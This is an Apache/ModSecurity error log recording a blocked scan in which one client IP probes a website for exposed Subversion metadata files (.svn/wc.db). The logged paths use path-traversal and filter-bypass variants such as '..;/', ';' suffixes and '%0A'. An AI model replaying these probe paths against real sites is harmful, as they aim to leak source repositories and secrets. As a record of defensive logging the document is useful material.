[Sun Nov 30 19:13:52.749306 2025] [:error] [pid 9375:tid 9407] [client 213.21.239.4:43166] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/message-api/.svn/wc.db"] [unique_id "aSwm8N-EkWIUe87KIjMQSAAAA0M"]
[Sun Nov 30 19:13:52.750624 2025] [:error] [pid 10550:tid 10596] [client 213.21.239.4:43112] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/.svn;/wc.db"] [unique_id "aSwm8Ol_8Vq2nipf7mFRYwAAApE"]
[Sun Nov 30 19:13:52.754760 2025] [:error] [pid 10608:tid 10638] [client 213.21.239.4:43154] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/__MACOSX/.svn/wc.db"] [unique_id "aSwm8OG4qpknNxmxP5d5_gAAA8E"]
[Sun Nov 30 19:13:52.758794 2025] [:error] [pid 12793:tid 12798] [client 213.21.239.4:43196] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/media../.svn/wc.db"] [unique_id "aSwm8MsEgQeCVydJZ0guEgAAAEM"]
[Sun Nov 30 19:13:52.762395 2025] [:error] [pid 9694:tid 9713] [client 213.21.239.4:43140] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.svn/wc.db;.."] [unique_id "aSwm8MNOaRChkzIC_nWjtQAAANE"]
[Sun Nov 30 19:13:52.763720 2025] [:error] [pid 10607:tid 10622] [client 213.21.239.4:43122] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.svn/wc.db;"] [unique_id "aSwm8HMxNFmf1l9xA_GeawAAAsw"]
[Sun Nov 30 19:13:52.772154 2025] [:error] [pid 12793:tid 12813] [client 213.21.239.4:43204] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/old-cuburn/.svn/wc.db"] [unique_id "aSwm8MsEgQeCVydJZ0guFQAAAFI"]
[Sun Nov 30 19:13:52.774144 2025] [:error] [pid 10607:tid 10624] [client 213.21.239.4:43356] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lib../.svn/wc.db"] [unique_id "aSwm8HMxNFmf1l9xA_GebAAAAs4"]
[Sun Nov 30 19:13:52.780056 2025] [:error] [pid 10607:tid 10619] [client 213.21.239.4:43394] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/live/.svn/wc.db"] [unique_id "aSwm8HMxNFmf1l9xA_GebQAAAsk"]
[Sun Nov 30 19:13:52.780988 2025] [:error] [pid 9694:tid 9696] [client 213.21.239.4:43380] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/prod.svn/wc.db"] [unique_id "aSwm8MNOaRChkzIC_nWjuwAAAMA"]
[Sun Nov 30 19:13:52.782985 2025] [:error] [pid 12793:tid 12801] [client 213.21.239.4:43432] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.svn/wc.db"] [unique_id "aSwm8MsEgQeCVydJZ0guFgAAAEY"]
[Sun Nov 30 19:13:52.788703 2025] [:error] [pid 12793:tid 12811] [client 213.21.239.4:43298] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/m/.svn/wc.db"] [unique_id "aSwm8MsEgQeCVydJZ0guGQAAAFA"]
[Sun Nov 30 19:13:52.792622 2025] [:error] [pid 10607:tid 10616] [client 213.21.239.4:43340] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/public/.svn/wc.db"] [unique_id "aSwm8HMxNFmf1l9xA_GecQAAAsY"]
[Sun Nov 30 19:13:52.795187 2025] [:error] [pid 9375:tid 9405] [client 213.21.239.4:43364] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/images../.svn/wc.db"] [unique_id "aSwm8N-EkWIUe87KIjMQSQAAA0E"]
[Sun Nov 30 19:13:52.796109 2025] [:error] [pid 10550:tid 10588] [client 213.21.239.4:43408] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/img../.svn/wc.db"] [unique_id "aSwm8Ol_8Vq2nipf7mFRZAAAAok"]
[Sun Nov 30 19:13:52.796466 2025] [:error] [pid 10518:tid 10525] [client 213.21.239.4:43450] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/..;/.svn/wc.db"] [unique_id "aSwm8A8XjrhaEDJ0Rd_AfwAAAUQ"]
[Sun Nov 30 19:13:52.800212 2025] [:error] [pid 9375:tid 9421] [client 213.21.239.4:43338] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/svn/.svn/wc.db"] [unique_id "aSwm8N-EkWIUe87KIjMQSgAAA1E"]
[Sun Nov 30 19:13:52.810243 2025] [:error] [pid 10608:tid 10650] [client 213.21.239.4:43612] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/qa/.svn/wc.db"] [unique_id "aSwm8OG4qpknNxmxP5d6BAAAA80"]
[Sun Nov 30 19:13:52.812137 2025] [:error] [pid 9374:tid 9377] [client 213.21.239.4:43614] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/js../.svn/wc.db"] [unique_id "aSwm8IEwr5jt_cokVdxo-gAAAwA"]
[Sun Nov 30 19:13:52.813055 2025] [:error] [pid 9374:tid 9392] [client 213.21.239.4:43720] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/new/.svn/wc.db"] [unique_id "aSwm8IEwr5jt_cokVdxo-wAAAw8"]
[Sun Nov 30 19:13:52.821690 2025] [:error] [pid 10608:tid 10647] [client 213.21.239.4:43654] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au../wc.db"] [unique_id "aSwm8OG4qpknNxmxP5d6BgAAA8o"]
[Sun Nov 30 19:13:52.824486 2025] [:error] [pid 9374:tid 9385] [client 213.21.239.4:43776] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/wc.db"] [unique_id "aSwm8IEwr5jt_cokVdxo_QAAAwg"]
[Sun Nov 30 19:13:52.835031 2025] [:error] [pid 9694:tid 9710] [client 213.21.239.4:43182] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/prod/.svn/wc.db"] [unique_id "aSwm8MNOaRChkzIC_nWjvwAAAM4"]
[Sun Nov 30 19:13:52.836326 2025] [:error] [pid 12554:tid 12557] [client 213.21.239.4:43678] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/;/.svn/wc.db"] [unique_id "aSwm8D7q_kXd01TaAD90XAAAAAE"]
[Sun Nov 30 19:13:55.750632 2025] [:error] [pid 10550:tid 10580] [client 213.21.239.4:43822] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.svn/wc.db;"] [unique_id "aSwm8-l_8Vq2nipf7mFRaAAAAoE"]
[Sun Nov 30 19:13:55.753502 2025] [:error] [pid 12554:tid 12570] [client 213.21.239.4:43808] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.svn/wc.db"] [unique_id "aSwm8z7q_kXd01TaAD90XwAAAA4"]
[Sun Nov 30 19:13:55.758466 2025] [:error] [pid 10518:tid 10543] [client 213.21.239.4:43934] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn/wc.db;.."] [unique_id "aSwm8w8XjrhaEDJ0Rd_AgwAAAVY"]
[Sun Nov 30 19:13:55.762239 2025] [:error] [pid 9375:tid 9411] [client 213.21.239.4:43952] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn;/wc.db"] [unique_id "aSwm89-EkWIUe87KIjMQUAAAA0c"]
[Sun Nov 30 19:13:55.765385 2025] [:error] [pid 10518:tid 10521] [client 213.21.239.4:43920] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn/wc.db;"] [unique_id "aSwm8w8XjrhaEDJ0Rd_AhQAAAUA"]
[Sun Nov 30 19:13:55.765857 2025] [:error] [pid 10607:tid 10617] [client 213.21.239.4:43826] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.svn/wc.db;.."] [unique_id "aSwm83MxNFmf1l9xA_GedAAAAsc"]
[Sun Nov 30 19:13:55.766367 2025] [:error] [pid 9375:tid 9428] [client 213.21.239.4:43882] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/s3/.svn/wc.db"] [unique_id "aSwm89-EkWIUe87KIjMQUgAAA1g"]
[Sun Nov 30 19:13:55.768297 2025] [:error] [pid 9375:tid 9423] [client 213.21.239.4:44016] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/;/.svn/wc.db"] [unique_id "aSwm89-EkWIUe87KIjMQUwAAA1M"]
[Sun Nov 30 19:13:55.775961 2025] [:error] [pid 10518:tid 10527] [client 213.21.239.4:44058] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn/%0Awc.db"] [unique_id "aSwm8w8XjrhaEDJ0Rd_AhgAAAUY"]
[Sun Nov 30 19:13:55.776879 2025] [:error] [pid 10607:tid 10621] [client 213.21.239.4:43862] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/repository/.svn/wc.db"] [unique_id "aSwm83MxNFmf1l9xA_GeeAAAAss"]
[Sun Nov 30 19:13:55.777106 2025] [:error] [pid 9375:tid 9426] [client 213.21.239.4:43964] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/samples/.svn/wc.db"] [unique_id "aSwm89-EkWIUe87KIjMQVwAAA1Y"]
[Sun Nov 30 19:13:55.781643 2025] [:error] [pid 9375:tid 9408] [client 213.21.239.4:43904] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/.svn;/wc.db"] [unique_id "aSwm89-EkWIUe87KIjMQWQAAA0Q"]
[Sun Nov 30 19:13:55.785112 2025] [:error] [pid 58704:tid 58719] [client 213.21.239.4:43896] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/..;/.svn/wc.db"] [unique_id "aSwm81gCdnbXMzbONnNFIAAAA4w"]
[Sun Nov 30 19:13:55.787104 2025] [:error] [pid 9694:tid 9707] [client 213.21.239.4:43984] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/..;/.svn/wc.db"] [unique_id "aSwm88NOaRChkzIC_nWjxwAAAMs"]
[Sun Nov 30 19:13:55.791105 2025] [:error] [pid 9375:tid 9425] [client 213.21.239.4:44114] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/shop/.svn/wc.db"] [unique_id "aSwm89-EkWIUe87KIjMQWwAAA1U"]
[Sun Nov 30 19:13:55.794887 2025] [:error] [pid 9694:tid 9717] [client 213.21.239.4:44200] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au../.svn/wc.db"] [unique_id "aSwm88NOaRChkzIC_nWjyAAAANU"]
[Sun Nov 30 19:13:55.795075 2025] [:error] [pid 9375:tid 9421] [client 213.21.239.4:43936] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/wc.db"] [unique_id "aSwm89-EkWIUe87KIjMQXQAAA1E"]
[Sun Nov 30 19:13:55.798080 2025] [:error] [pid 9694:tid 9714] [client 213.21.239.4:44156] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/static../.svn/wc.db"] [unique_id "aSwm88NOaRChkzIC_nWjyQAAANI"]
[Sun Nov 30 19:13:55.802981 2025] [:error] [pid 9694:tid 9715] [client 213.21.239.4:43980] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.svn/%0Awc.db"] [unique_id "aSwm88NOaRChkzIC_nWjzAAAANM"]
[Sun Nov 30 19:13:55.803421 2025] [:error] [pid 9694:tid 9700] [client 213.21.239.4:44004] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/../.svn/wc.db"] [unique_id "aSwm88NOaRChkzIC_nWjzQAAAMQ"]
[Sun Nov 30 19:13:55.804116 2025] [:error] [pid 9694:tid 9696] [client 213.21.239.4:44088] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/repos/.svn/wc.db"] [unique_id "aSwm88NOaRChkzIC_nWjzgAAAMA"]
[Sun Nov 30 19:13:55.806213 2025] [:error] [pid 9375:tid 9414] [client 213.21.239.4:44194] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/;/.svn/wc.db"] [unique_id "aSwm89-EkWIUe87KIjMQYQAAA0o"]
[Sun Nov 30 19:13:55.811032 2025] [core:error] [pid 9375:tid 9409] [client 213.21.239.4:44064] AH10244: invalid URI path (/../wc.db)
[Sun Nov 30 19:13:55.813043 2025] [:error] [pid 9694:tid 9701] [client 213.21.239.4:44130] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn/wc.db"] [unique_id "aSwm88NOaRChkzIC_nWj0QAAAMU"]
[Sun Nov 30 19:13:55.814613 2025] [:error] [pid 58704:tid 58716] [client 213.21.239.4:44176] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/static../.svn/wc.db"] [unique_id "aSwm81gCdnbXMzbONnNFIgAAA4k"]
[Sun Nov 30 19:13:58.755918 2025] [:error] [pid 9374:tid 9396] [client 213.21.239.4:44542] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/.svn/wc.db"] [unique_id "aSwm9oEwr5jt_cokVdxpCQAAAxM"]
[Sun Nov 30 19:13:58.757745 2025] [:error] [pid 12554:tid 12572] [client 213.21.239.4:44464] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/uat/.svn/wc.db"] [unique_id "aSwm9j7q_kXd01TaAD90aAAAABA"]
[Sun Nov 30 19:13:58.758013 2025] [:error] [pid 12554:tid 12561] [client 213.21.239.4:44466] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/web/.svn/wc.db"] [unique_id "aSwm9j7q_kXd01TaAD90aQAAAAU"]
[Sun Nov 30 19:13:58.766134 2025] [:error] [pid 10550:tid 10598] [client 213.21.239.4:44548] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/.svn/wc.db"] [unique_id "aSwm9ul_8Vq2nipf7mFRbwAAApM"]
[Sun Nov 30 19:13:58.767779 2025] [:error] [pid 10608:tid 10641] [client 213.21.239.4:44620] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/store/.svn/wc.db"] [unique_id "aSwm9uG4qpknNxmxP5d6EwAAA8Q"]
